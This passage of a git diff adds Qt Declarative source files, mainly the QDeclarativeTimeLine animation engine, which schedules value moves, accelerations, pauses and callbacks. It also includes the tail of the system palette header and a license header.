+#include <QtCore/qobject.h>
+#include <QPalette>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeSystemPalettePrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeSystemPalette : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(ColorGroup)
+ Q_DECLARE_PRIVATE(QDeclarativeSystemPalette)
+
+ Q_PROPERTY(QDeclarativeSystemPalette::ColorGroup colorGroup READ colorGroup WRITE setColorGroup NOTIFY paletteChanged)
+ Q_PROPERTY(QColor window READ window NOTIFY paletteChanged)
+ Q_PROPERTY(QColor windowText READ windowText NOTIFY paletteChanged)
+ Q_PROPERTY(QColor base READ base NOTIFY paletteChanged)
+ Q_PROPERTY(QColor text READ text NOTIFY paletteChanged)
+ Q_PROPERTY(QColor alternateBase READ alternateBase NOTIFY paletteChanged)
+ Q_PROPERTY(QColor button READ button NOTIFY paletteChanged)
+ Q_PROPERTY(QColor buttonText READ buttonText NOTIFY paletteChanged)
+ Q_PROPERTY(QColor light READ light NOTIFY paletteChanged)
+ Q_PROPERTY(QColor midlight READ midlight NOTIFY paletteChanged)
+ Q_PROPERTY(QColor dark READ dark NOTIFY paletteChanged)
+ Q_PROPERTY(QColor mid READ mid NOTIFY paletteChanged)
+ Q_PROPERTY(QColor shadow READ shadow NOTIFY paletteChanged)
+ Q_PROPERTY(QColor highlight READ highlight NOTIFY paletteChanged)
+ Q_PROPERTY(QColor highlightedText READ highlightedText NOTIFY paletteChanged)
+
+public:
+ QDeclarativeSystemPalette(QObject *parent=0);
+ ~QDeclarativeSystemPalette();
+
+ enum ColorGroup { Active = QPalette::Active, Inactive = QPalette::Inactive, Disabled = QPalette::Disabled };
+
+ QColor window() const;
+ QColor windowText() const;
+
+ QColor base() const;
+ QColor text() const;
+ QColor alternateBase() const;
+
+ QColor button() const;
+ QColor buttonText() const;
+
+ QColor light() const;
+ QColor midlight() const;
+ QColor dark() const;
+ QColor mid() const;
+ QColor shadow() const;
+
+ QColor highlight() const;
+ QColor highlightedText() const;
+
+ QDeclarativeSystemPalette::ColorGroup colorGroup() const;
+ void setColorGroup(QDeclarativeSystemPalette::ColorGroup);
+
+Q_SIGNALS:
+ void paletteChanged();
+
+private:
+ bool eventFilter(QObject *watched, QEvent *event);
+ bool event(QEvent *event);
+
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeSystemPalette)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESYSTEMPALETTE_H
diff --git a/src/declarative/util/qdeclarativetimeline.cpp b/src/declarative/util/qdeclarativetimeline.cpp
new file mode 100644
index 00000000..0c802092
--- /dev/null
+++ b/src/declarative/util/qdeclarativetimeline.cpp
@@ -0,0 +1,947 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetimeline_p_p.h"
+
+#include <QDebug>
+#include <QMutex>
+#include <QThread>
+#include <QWaitCondition>
+#include <QEvent>
+#include <QCoreApplication>
+#include <QEasingCurve>
+#include <QTime>
+
+QT_BEGIN_NAMESPACE
+
+struct Update {
+ Update(QDeclarativeTimeLineValue *_g, qreal _v)
+ : g(_g), v(_v) {}
+ Update(const QDeclarativeTimeLineCallback &_e)
+ : g(0), v(0), e(_e) {}
+
+ QDeclarativeTimeLineValue *g;
+ qreal v;
+ QDeclarativeTimeLineCallback e;
+};
+
+struct QDeclarativeTimeLinePrivate
+{
+ QDeclarativeTimeLinePrivate(QDeclarativeTimeLine *);
+
+ struct Op {
+ enum Type {
+ Pause,
+ Set,
+ Move,
+ MoveBy,
+ Accel,
+ AccelDistance,
+ Execute
+ };
+ Op() {}
+ Op(Type t, int l, qreal v, qreal v2, int o,
+ const QDeclarativeTimeLineCallback &ev = QDeclarativeTimeLineCallback(), const QEasingCurve &es = QEasingCurve())
+ : type(t), length(l), value(v), value2(v2), order(o), event(ev),
+ easing(es) {}
+ Op(const Op &o)
+ : type(o.type), length(o.length), value(o.value), value2(o.value2),
+ order(o.order), event(o.event), easing(o.easing) {}
+ Op &operator=(const Op &o) {
+ type = o.type; length = o.length; value = o.value;
+ value2 = o.value2; order = o.order; event = o.event;
+ easing = o.easing;
+ return *this;
+ }
+
+ Type type;
+ int length;
+ qreal value;
+ qreal value2;
+
+ int order;
+ QDeclarativeTimeLineCallback event;
+ QEasingCurve easing;
+ };
+ struct TimeLine
+ {
+ TimeLine() : length(0), consumedOpLength(0), base(0.) {}
+ QList<Op> ops;
+ int length;
+ int consumedOpLength;
+ qreal base;
+ };
+
+ int length;
+ int syncPoint;
+ typedef QHash<QDeclarativeTimeLineObject *, TimeLine> Ops;
+ Ops ops;
+ QDeclarativeTimeLine *q;
+
+ void add(QDeclarativeTimeLineObject &, const Op &);
+ qreal value(const Op &op, int time, qreal base, bool *) const;
+
+ int advance(int);
+
+ bool clockRunning;
+ int prevTime;
+
+ int order;
+
+ QDeclarativeTimeLine::SyncMode syncMode;
+ int syncAdj;
+ QList<QPair<int, Update> > *updateQueue;
+};
+
+QDeclarativeTimeLinePrivate::QDeclarativeTimeLinePrivate(QDeclarativeTimeLine *parent)
+: length(0), syncPoint(0), q(parent), clockRunning(false), prevTime(0), order(0), syncMode(QDeclarativeTimeLine::LocalSync), syncAdj(0), updateQueue(0)
+{
+}
+
+void QDeclarativeTimeLinePrivate::add(QDeclarativeTimeLineObject &g, const Op &o)
+{
+ if (g._t && g._t != q) {
+ qWarning() << "QDeclarativeTimeLine: Cannot modify a QDeclarativeTimeLineValue owned by"
+ << "another timeline.";
+ return;
+ }
+ g._t = q;
+
+ Ops::Iterator iter = ops.find(&g);
+ if (iter == ops.end()) {
+ iter = ops.insert(&g, TimeLine());
+ if (syncPoint > 0)
+ q->pause(g, syncPoint);
+ }
+ if (!iter->ops.isEmpty() &&
+ o.type == Op::Pause &&
+ iter->ops.last().type == Op::Pause) {
+ iter->ops.last().length += o.length;
+ iter->length += o.length;
+ } else {
+ iter->ops.append(o);
+ iter->length += o.length;
+ }
+
+ if (iter->length > length)
+ length = iter->length;
+
+ if (!clockRunning) {
+ q->stop();
+ prevTime = 0;
+ clockRunning = true;
+
+ if (syncMode == QDeclarativeTimeLine::LocalSync) {
+ syncAdj = -1;
+ } else {
+ syncAdj = 0;
+ }
+ q->start();
+/* q->tick(0);
+ if (syncMode == QDeclarativeTimeLine::LocalSync) {
+ syncAdj = -1;
+ } else {
+ syncAdj = 0;
+ }
+ */
+ }
+}
+
+qreal QDeclarativeTimeLinePrivate::value(const Op &op, int time, qreal base, bool *changed) const
+{
+ Q_ASSERT(time >= 0);
+ Q_ASSERT(time <= op.length);
+ *changed = true;
+
+ switch(op.type) {
+ case Op::Pause:
+ *changed = false;
+ return base;
+ case Op::Set:
+ return op.value;
+ case Op::Move:
+ if (time == 0) {
+ return base;
+ } else if (time == (op.length)) {
+ return op.value;
+ } else {
+ qreal delta = op.value - base;
+ qreal pTime = (qreal)(time) / (qreal)op.length;
+ if (op.easing.type() == QEasingCurve::Linear)
+ return base + delta * pTime;
+ else
+ return base + delta * op.easing.valueForProgress(pTime);
+ }
+ case Op::MoveBy:
+ if (time == 0) {
+ return base;
+ } else if (time == (op.length)) {
+ return base + op.value;
+ } else {
+ qreal delta = op.value;
+ qreal pTime = (qreal)(time) / (qreal)op.length;
+ if (op.easing.type() == QEasingCurve::Linear)
+ return base + delta * pTime;
+ else
+ return base + delta * op.easing.valueForProgress(pTime);
+ }
+ case Op::Accel:
+ if (time == 0) {
+ return base;
+ } else {
+ qreal t = (qreal)(time) / 1000.0f;
+ qreal delta = op.value * t + 0.5f * op.value2 * t * t;
+ return base + delta;
+ }
+ case Op::AccelDistance:
+ if (time == 0) {
+ return base;
+ } else if (time == (op.length)) {
+ return base + op.value2;
+ } else {
+ qreal t = (qreal)(time) / 1000.0f;
+ qreal accel = -1.0f * 1000.0f * op.value / (qreal)op.length;
+ qreal delta = op.value * t + 0.5f * accel * t * t;
+ return base + delta;
+
+ }
+ case Op::Execute:
+ op.event.d0(op.event.d1);
+ *changed = false;
+ return -1;
+ }
+
+ return base;
+}
+
+/*!
+ \internal
+ \class QDeclarativeTimeLine
+ \brief The QDeclarativeTimeLine class provides a timeline for controlling animations.
+
+ QDeclarativeTimeLine is similar to QTimeLine except:
+ \list
+ \i It updates QDeclarativeTimeLineValue instances directly, rather than maintaining a single
+ current value.
+
+ For example, the following animates a simple value over 200 milliseconds:
+ \code
+ QDeclarativeTimeLineValue v(<starting value>);
+ QDeclarativeTimeLine tl;
+ tl.move(v, 100., 200);
+ tl.start()
+ \endcode
+
+ If your program needs to know when values are changed, it can either
+ connect to the QDeclarativeTimeLine's updated() signal, or inherit from QDeclarativeTimeLineValue
+ and reimplement the QDeclarativeTimeLineValue::setValue() method.
+
+ \i Supports multiple QDeclarativeTimeLineValue, arbitrary start and end values and allows
+ animations to be strung together for more complex effects.
+
+ For example, the following animation moves the x and y coordinates of
+ an object from wherever they are to the position (100, 100) in 50
+ milliseconds and then further animates them to (100, 200) in 50
+ milliseconds:
+
+ \code
+ QDeclarativeTimeLineValue x(<starting value>);
+ QDeclarativeTimeLineValue y(<starting value>);
+
+ QDeclarativeTimeLine tl;
+ tl.start();
+
+ tl.move(x, 100., 50);
+ tl.move(y, 100., 50);
+ tl.move(y, 200., 50);
+ \endcode
+
+ \i All QDeclarativeTimeLine instances share a single, synchronized clock.
+
+ Actions scheduled within the same event loop tick are scheduled
+ synchronously against each other, regardless of the wall time between the
+ scheduling. Synchronized scheduling applies both to within the same
+ QDeclarativeTimeLine and across separate QDeclarativeTimeLine's within the same process.
+
+ \endlist
+
+ Currently easing functions are not supported.
+*/
+
+
+/*!
+ Construct a new QDeclarativeTimeLine with the specified \a parent.
+*/
+QDeclarativeTimeLine::QDeclarativeTimeLine(QObject *parent)
+: QAbstractAnimation(parent)
+{
+ d = new QDeclarativeTimeLinePrivate(this);
+}
+
+/*!
+ Destroys the time line. Any inprogress animations are canceled, but not
+ completed.
+*/
+QDeclarativeTimeLine::~QDeclarativeTimeLine()
+{
+ for (QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.begin();
+ iter != d->ops.end();
+ ++iter)
+ iter.key()->_t = 0;
+
+ delete d; d = 0;
+}
+
+/*!
+ \enum QDeclarativeTimeLine::SyncMode
+ */
+
+/*!
+ Return the timeline's synchronization mode.
+ */
+QDeclarativeTimeLine::SyncMode QDeclarativeTimeLine::syncMode() const
+{
+ return d->syncMode;
+}
+
+/*!
+ Set the timeline's synchronization mode to \a syncMode.
+ */
+void QDeclarativeTimeLine::setSyncMode(SyncMode syncMode)
+{
+ d->syncMode = syncMode;
+}
+
+/*!
+ Pause \a obj for \a time milliseconds.
+*/
+void QDeclarativeTimeLine::pause(QDeclarativeTimeLineObject &obj, int time)
+{
+ if (time <= 0) return;
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Pause, time, 0., 0., d->order++);
+ d->add(obj, op);
+}
+
+/*!
+ Execute the \a event.
+ */
+void QDeclarativeTimeLine::callback(const QDeclarativeTimeLineCallback &callback)
+{
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Execute, 0, 0, 0., d->order++, callback);
+ d->add(*callback.callbackObject(), op);
+}
+
+/*!
+ Set the \a value of \a timeLineValue.
+*/
+void QDeclarativeTimeLine::set(QDeclarativeTimeLineValue &timeLineValue, qreal value)
+{
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Set, 0, value, 0., d->order++);
+ d->add(timeLineValue, op);
+}
+
+/*!
+ Decelerate \a timeLineValue from the starting \a velocity to zero at the
+ given \a acceleration rate. Although the \a acceleration is technically
+ a deceleration, it should always be positive. The QDeclarativeTimeLine will ensure
+ that the deceleration is in the opposite direction to the initial velocity.
+*/
+int QDeclarativeTimeLine::accel(QDeclarativeTimeLineValue &timeLineValue, qreal velocity, qreal acceleration)
+{
+ if (acceleration == 0.0f)
+ return -1;
+
+ if ((velocity > 0.0f) == (acceleration > 0.0f))
+ acceleration = acceleration * -1.0f;
+
+ int time = static_cast<int>(-1000 * velocity / acceleration);
+
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Accel, time, velocity, acceleration, d->order++);
+ d->add(timeLineValue, op);
+
+ return time;
+}
+
+/*!
+ \overload
+
+ Decelerate \a timeLineValue from the starting \a velocity to zero at the
+ given \a acceleration rate over a maximum distance of maxDistance.
+
+ If necessary, QDeclarativeTimeLine will reduce the acceleration to ensure that the
+ entire operation does not require a move of more than \a maxDistance.
+ \a maxDistance should always be positive.
+*/
+int QDeclarativeTimeLine::accel(QDeclarativeTimeLineValue &timeLineValue, qreal velocity, qreal acceleration, qreal maxDistance)
+{
+ if (maxDistance == 0.0f || acceleration == 0.0f)
+ return -1;
+
+ Q_ASSERT(acceleration > 0.0f && maxDistance > 0.0f);
+
+ qreal maxAccel = (velocity * velocity) / (2.0f * maxDistance);
+ if (maxAccel > acceleration)
+ acceleration = maxAccel;
+
+ if ((velocity > 0.0f) == (acceleration > 0.0f))
+ acceleration = acceleration * -1.0f;
+
+ int time = static_cast<int>(-1000 * velocity / acceleration);
+
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Accel, time, velocity, acceleration, d->order++);
+ d->add(timeLineValue, op);
+
+ return time;
+}
+
+/*!
+ Decelerate \a timeLineValue from the starting \a velocity to zero over the given
+ \a distance. This is like accel(), but the QDeclarativeTimeLine calculates the exact
+ deceleration to use.
+
+ \a distance should be positive.
+*/
+int QDeclarativeTimeLine::accelDistance(QDeclarativeTimeLineValue &timeLineValue, qreal velocity, qreal distance)
+{
+ if (distance == 0.0f || velocity == 0.0f)
+ return -1;
+
+ Q_ASSERT((distance >= 0.0f) == (velocity >= 0.0f));
+
+ int time = static_cast<int>(1000 * (2.0f * distance) / velocity);
+
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::AccelDistance, time, velocity, distance, d->order++);
+ d->add(timeLineValue, op);
+
+ return time;
+}
+
+/*!
+ Linearly change the \a timeLineValue from its current value to the given
+ \a destination value over \a time milliseconds.
+*/
+void QDeclarativeTimeLine::move(QDeclarativeTimeLineValue &timeLineValue, qreal destination, int time)
+{
+ if (time <= 0) return;
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Move, time, destination, 0.0f, d->order++);
+ d->add(timeLineValue, op);
+}
+
+/*!
+ Change the \a timeLineValue from its current value to the given \a destination
+ value over \a time milliseconds using the \a easing curve.
+ */
+void QDeclarativeTimeLine::move(QDeclarativeTimeLineValue &timeLineValue, qreal destination, const QEasingCurve &easing, int time)
+{
+ if (time <= 0) return;
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::Move, time, destination, 0.0f, d->order++, QDeclarativeTimeLineCallback(), easing);
+ d->add(timeLineValue, op);
+}
+
+/*!
+ Linearly change the \a timeLineValue from its current value by the \a change amount
+ over \a time milliseconds.
+*/
+void QDeclarativeTimeLine::moveBy(QDeclarativeTimeLineValue &timeLineValue, qreal change, int time)
+{
+ if (time <= 0) return;
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::MoveBy, time, change, 0.0f, d->order++);
+ d->add(timeLineValue, op);
+}
+
+/*!
+ Change the \a timeLineValue from its current value by the \a change amount over
+ \a time milliseconds using the \a easing curve.
+ */
+void QDeclarativeTimeLine::moveBy(QDeclarativeTimeLineValue &timeLineValue, qreal change, const QEasingCurve &easing, int time)
+{
+ if (time <= 0) return;
+ QDeclarativeTimeLinePrivate::Op op(QDeclarativeTimeLinePrivate::Op::MoveBy, time, change, 0.0f, d->order++, QDeclarativeTimeLineCallback(), easing);
+ d->add(timeLineValue, op);
+}
+
+/*!
+ Cancel (but don't complete) all scheduled actions for \a timeLineValue.
+*/
+void QDeclarativeTimeLine::reset(QDeclarativeTimeLineValue &timeLineValue)
+{
+ if (!timeLineValue._t)
+ return;
+ if (timeLineValue._t != this) {
+ qWarning() << "QDeclarativeTimeLine: Cannot reset a QDeclarativeTimeLineValue owned by another timeline.";
+ return;
+ }
+ remove(&timeLineValue);
+ timeLineValue._t = 0;
+}
+
+int QDeclarativeTimeLine::duration() const
+{
+ return -1;
+}
+
+/*!
+ Synchronize the end point of \a timeLineValue to the endpoint of \a syncTo
+ within this timeline.
+
+ Following operations on \a timeLineValue in this timeline will be scheduled after
+ all the currently scheduled actions on \a syncTo are complete. In
+ pseudo-code this is equivalent to:
+ \code
+ QDeclarativeTimeLine::pause(timeLineValue, min(0, length_of(syncTo) - length_of(timeLineValue)))
+ \endcode
+*/
+void QDeclarativeTimeLine::sync(QDeclarativeTimeLineValue &timeLineValue, QDeclarativeTimeLineValue &syncTo)
+{
+ QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.find(&syncTo);
+ if (iter == d->ops.end())
+ return;
+ int length = iter->length;
+
+ iter = d->ops.find(&timeLineValue);
+ if (iter == d->ops.end()) {
+ pause(timeLineValue, length);
+ } else {
+ int glength = iter->length;
+ pause(timeLineValue, length - glength);
+ }
+}
+
+/*!
+ Synchronize the end point of \a timeLineValue to the endpoint of the longest
+ action cursrently scheduled in the timeline.
+
+ In pseudo-code, this is equivalent to:
+ \code
+ QDeclarativeTimeLine::pause(timeLineValue, length_of(timeline) - length_of(timeLineValue))
+ \endcode
+*/
+void QDeclarativeTimeLine::sync(QDeclarativeTimeLineValue &timeLineValue)
+{
+ QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.find(&timeLineValue);
+ if (iter == d->ops.end()) {
+ pause(timeLineValue, d->length);
+ } else {
+ pause(timeLineValue, d->length - iter->length);
+ }
+}
+
+/*
+ Synchronize all currently and future scheduled values in this timeline to
+ the longest action currently scheduled.
+
+ For example:
+ \code
+ value1->setValue(0.);
+ value2->setValue(0.);
+ value3->setValue(0.);
+ QDeclarativeTimeLine tl;
+ ...
+ tl.move(value1, 10, 200);
+ tl.move(value2, 10, 100);
+ tl.sync();
+ tl.move(value2, 20, 100);
+ tl.move(value3, 20, 100);
+ \endcode
+
+ will result in:
+
+ \table
+ \header \o \o 0ms \o 50ms \o 100ms \o 150ms \o 200ms \o 250ms \o 300ms
+ \row \o value1 \o 0 \o 2.5 \o 5.0 \o 7.5 \o 10 \o 10 \o 10
+ \row \o value2 \o 0 \o 5.0 \o 10.0 \o 10.0 \o 10.0 \o 15.0 \o 20.0
+ \row \o value2 \o 0 \o 0 \o 0 \o 0 \o 0 \o 10.0 \o 20.0
+ \endtable
+*/
+
+/*void QDeclarativeTimeLine::sync()
+{
+ for (QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.begin();
+ iter != d->ops.end();
+ ++iter)
+ pause(*iter.key(), d->length - iter->length);
+ d->syncPoint = d->length;
+}*/
+
+/*!
+ \internal
+
+ Temporary hack.
+ */
+void QDeclarativeTimeLine::setSyncPoint(int sp)
+{
+ d->syncPoint = sp;
+}
+
+/*!
+ \internal
+
+ Temporary hack.
+ */
+int QDeclarativeTimeLine::syncPoint() const
+{
+ return d->syncPoint;
+}
+
+/*!
+ Returns true if the timeline is active. An active timeline is one where
+ QDeclarativeTimeLineValue actions are still pending.
+*/
+bool QDeclarativeTimeLine::isActive() const
+{
+ return !d->ops.isEmpty();
+}
+
+/*!
+ Completes the timeline. All queued actions are played to completion, and then discarded. For example,
+ \code
+ QDeclarativeTimeLineValue v(0.);
+ QDeclarativeTimeLine tl;
+ tl.move(v, 100., 1000.);
+ // 500 ms passes
+ // v.value() == 50.
+ tl.complete();
+ // v.value() == 100.
+ \endcode
+*/
+void QDeclarativeTimeLine::complete()
+{
+ d->advance(d->length);
+}
+
+/*!
+ Resets the timeline. All queued actions are discarded and QDeclarativeTimeLineValue's retain their current value. For example,
+ \code
+ QDeclarativeTimeLineValue v(0.);
+ QDeclarativeTimeLine tl;
+ tl.move(v, 100., 1000.);
+ // 500 ms passes
+ // v.value() == 50.
+ tl.clear();
+ // v.value() == 50.
+ \endcode
+*/
+void QDeclarativeTimeLine::clear()
+{
+ for (QDeclarativeTimeLinePrivate::Ops::ConstIterator iter = d->ops.begin(); iter != d->ops.end(); ++iter)
+ iter.key()->_t = 0;
+ d->ops.clear();
+ d->length = 0;
+ d->syncPoint = 0;
+ //XXX need stop here?
+}
+
+int QDeclarativeTimeLine::time() const
+{
+ return d->prevTime;
+}
+
+/*!
+ \fn void QDeclarativeTimeLine::updated()
+
+ Emitted each time the timeline modifies QDeclarativeTimeLineValues. Even if multiple
+ QDeclarativeTimeLineValues are changed, this signal is only emitted once for each clock tick.
+*/
+
+void QDeclarativeTimeLine::updateCurrentTime(int v)
+{
+ if (d->syncAdj == -1)
+ d->syncAdj = v;
+ v -= d->syncAdj;
+
+ int timeChanged = v - d->prevTime;
+#if 0
+ if (!timeChanged)
+ return;
+#endif
+ d->prevTime = v;
+ d->advance(timeChanged);
+ emit updated();
+
+ // Do we need to stop the clock?
+ if (d->ops.isEmpty()) {
+ stop();
+ d->prevTime = 0;
+ d->clockRunning = false;
+ emit completed();
+ } /*else if (pauseTime > 0) {
+ GfxClock::cancelClock();
+ d->prevTime = 0;
+ GfxClock::pauseFor(pauseTime);
+ d->syncAdj = 0;
+ d->clockRunning = false;
+ }*/ else if (/*!GfxClock::isActive()*/ state() != Running) {
+ stop();
+ d->prevTime = 0;
+ d->clockRunning = true;
+ d->syncAdj = 0;
+ start();
+ }
+}
+
+bool operator<(const QPair<int, Update> &lhs,
+ const QPair<int, Update> &rhs)
+{
+ return lhs.first < rhs.first;
+}
+
+int QDeclarativeTimeLinePrivate::advance(int t)
+{
+ int pauseTime = -1;
+
+ // XXX - surely there is a more efficient way?
+ do {
+ pauseTime = -1;
+ // Minimal advance time
+ int advanceTime = t;
+ for (Ops::Iterator iter = ops.begin(); iter != ops.end(); ++iter) {
+ TimeLine &tl = *iter;
+ Op &op = tl.ops.first();
+ int length = op.length - tl.consumedOpLength;
+
+ if (length < advanceTime) {
+ advanceTime = length;
+ if (advanceTime == 0)
+ break;
+ }
+ }
+ t -= advanceTime;
+
+ // Process until then. A zero length advance time will only process
+ // sets.
+ QList<QPair<int, Update> > updates;
+
+ for (Ops::Iterator iter = ops.begin(); iter != ops.end(); ) {
+ QDeclarativeTimeLineValue *v = static_cast<QDeclarativeTimeLineValue *>(iter.key());
+ TimeLine &tl = *iter;
+ Q_ASSERT(!tl.ops.isEmpty());
+
+ do {
+ Op &op = tl.ops.first();
+ if (advanceTime == 0 && op.length != 0)
+ continue;
+
+ if (tl.consumedOpLength == 0 &&
+ op.type != Op::Pause &&
+ op.type != Op::Execute)
+ tl.base = v->value();
+
+ if ((tl.consumedOpLength + advanceTime) == op.length) {
+ if (op.type == Op::Execute) {
+ updates << qMakePair(op.order, Update(op.event));
+ } else {
+ bool changed = false;
+ qreal val = value(op, op.length, tl.base, &changed);
+ if (changed)
+ updates << qMakePair(op.order, Update(v, val));
+ }
+ tl.length -= qMin(advanceTime, tl.length);
+ tl.consumedOpLength = 0;
+ tl.ops.removeFirst();
+ } else {
+ tl.consumedOpLength += advanceTime;
+ bool changed = false;
+ qreal val = value(op, tl.consumedOpLength, tl.base, &changed);
+ if (changed)
+ updates << qMakePair(op.order, Update(v, val));
+ tl.length -= qMin(advanceTime, tl.length);
+ break;
+ }
+
+ } while(!tl.ops.isEmpty() && advanceTime == 0 && tl.ops.first().length == 0);
+
+
+ if (tl.ops.isEmpty()) {
+ iter = ops.erase(iter);
+ v->_t = 0;
+ } else {
+ if (tl.ops.first().type == Op::Pause && pauseTime != 0) {
+ int opPauseTime = tl.ops.first().length - tl.consumedOpLength;
+ if (pauseTime == -1 || opPauseTime < pauseTime)
+ pauseTime = opPauseTime;
+ } else {
+ pauseTime = 0;
+ }
+ ++iter;
+ }
+ }
+
+ length -= qMin(length, advanceTime);
+ syncPoint -= advanceTime;
+
+ qSort(updates.begin(), updates.end());
+ updateQueue = &updates;
+ for (int ii = 0; ii < updates.count(); ++ii) {
+ const Update &v = updates.at(ii).second;
+ if (v.g) {
+ v.g->setValue(v.v);
+ } else {
+ v.e.d0(v.e.d1);
+ }
+ }
+ updateQueue = 0;
+ } while(t);
+
+ return pauseTime;
+}
+
+void QDeclarativeTimeLine::remove(QDeclarativeTimeLineObject *v)
+{
+ QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.find(v);
+ Q_ASSERT(iter != d->ops.end());
+
+ int len = iter->length;
+ d->ops.erase(iter);
+ if (len == d->length) {
+ // We need to recalculate the length
+ d->length = 0;
+ for (QDeclarativeTimeLinePrivate::Ops::Iterator iter = d->ops.begin();
+ iter != d->ops.end();
+ ++iter) {
+
+ if (iter->length > d->length)
+ d->length = iter->length;
+
+ }
+ }
+ if (d->ops.isEmpty()) {
+ stop();
+ d->clockRunning = false;
+ } else if (/*!GfxClock::isActive()*/ state() != Running) {
+ stop();
+ d->prevTime = 0;
+ d->clockRunning = true;
+
+ if (d->syncMode == QDeclarativeTimeLine::LocalSync) {
+ d->syncAdj = -1;
+ } else {
+ d->syncAdj = 0;
+ }
+ start();
+ }
+
+ if (d->updateQueue) {
+ for (int ii = 0; ii < d->updateQueue->count(); ++ii) {
+ if (d->updateQueue->at(ii).second.g == v ||
+ d->updateQueue->at(ii).second.e.callbackObject() == v) {
+ d->updateQueue->removeAt(ii);
+ --ii;
+ }
+ }
+ }
+
+
+}
+
+/*!
+ \internal
+ \class QDeclarativeTimeLineValue
+ \brief The QDeclarativeTimeLineValue class provides a value that can be modified by QDeclarativeTimeLine.
+*/
+
+/*!
+ \fn QDeclarativeTimeLineValue::QDeclarativeTimeLineValue(qreal value = 0)
+
+ Construct a new QDeclarativeTimeLineValue with an initial \a value.
+*/
+
+/*!
+ \fn qreal QDeclarativeTimeLineValue::value() const
+
+ Return the current value.
+*/
+
+/*!
+ \fn void QDeclarativeTimeLineValue::setValue(qreal value)
+
+ Set the current \a value.
+*/
+
+/*!
+ \fn QDeclarativeTimeLine *QDeclarativeTimeLineValue::timeLine() const
+
+ If a QDeclarativeTimeLine is operating on this value, return a pointer to it,
+ otherwise return null.
+*/
+
+
+QDeclarativeTimeLineObject::QDeclarativeTimeLineObject()
+: _t(0)
+{
+}
+
+QDeclarativeTimeLineObject::~QDeclarativeTimeLineObject()
+{
+ if (_t) {
+ _t->remove(this);
+ _t = 0;
+ }
+}
+
+QDeclarativeTimeLineCallback::QDeclarativeTimeLineCallback()
+: d0(0), d1(0), d2(0)
+{
+}
+
+QDeclarativeTimeLineCallback::QDeclarativeTimeLineCallback(QDeclarativeTimeLineObject *b, Callback f, void *d)
+: d0(f), d1(d), d2(b)
+{
+}
+
+QDeclarativeTimeLineCallback::QDeclarativeTimeLineCallback(const QDeclarativeTimeLineCallback &o)
+: d0(o.d0), d1(o.d1), d2(o.d2)
+{
+}
+
+QDeclarativeTimeLineCallback &QDeclarativeTimeLineCallback::operator=(const QDeclarativeTimeLineCallback &o)
+{
+ d0 = o.d0;
+ d1 = o.d1;
+ d2 = o.d2;
+ return *this;
+}
+
+QDeclarativeTimeLineObject *QDeclarativeTimeLineCallback::callbackObject() const
+{
+ return d2;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativetimeline_p_p.h b/src/declarative/util/qdeclarativetimeline_p_p.h
new file mode 100644
index 00000000..aa5ac211
--- /dev/null
+++ b/src/declarative/util/qdeclarativetimeline_p_p.h
@@ -0,0 +1,200 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
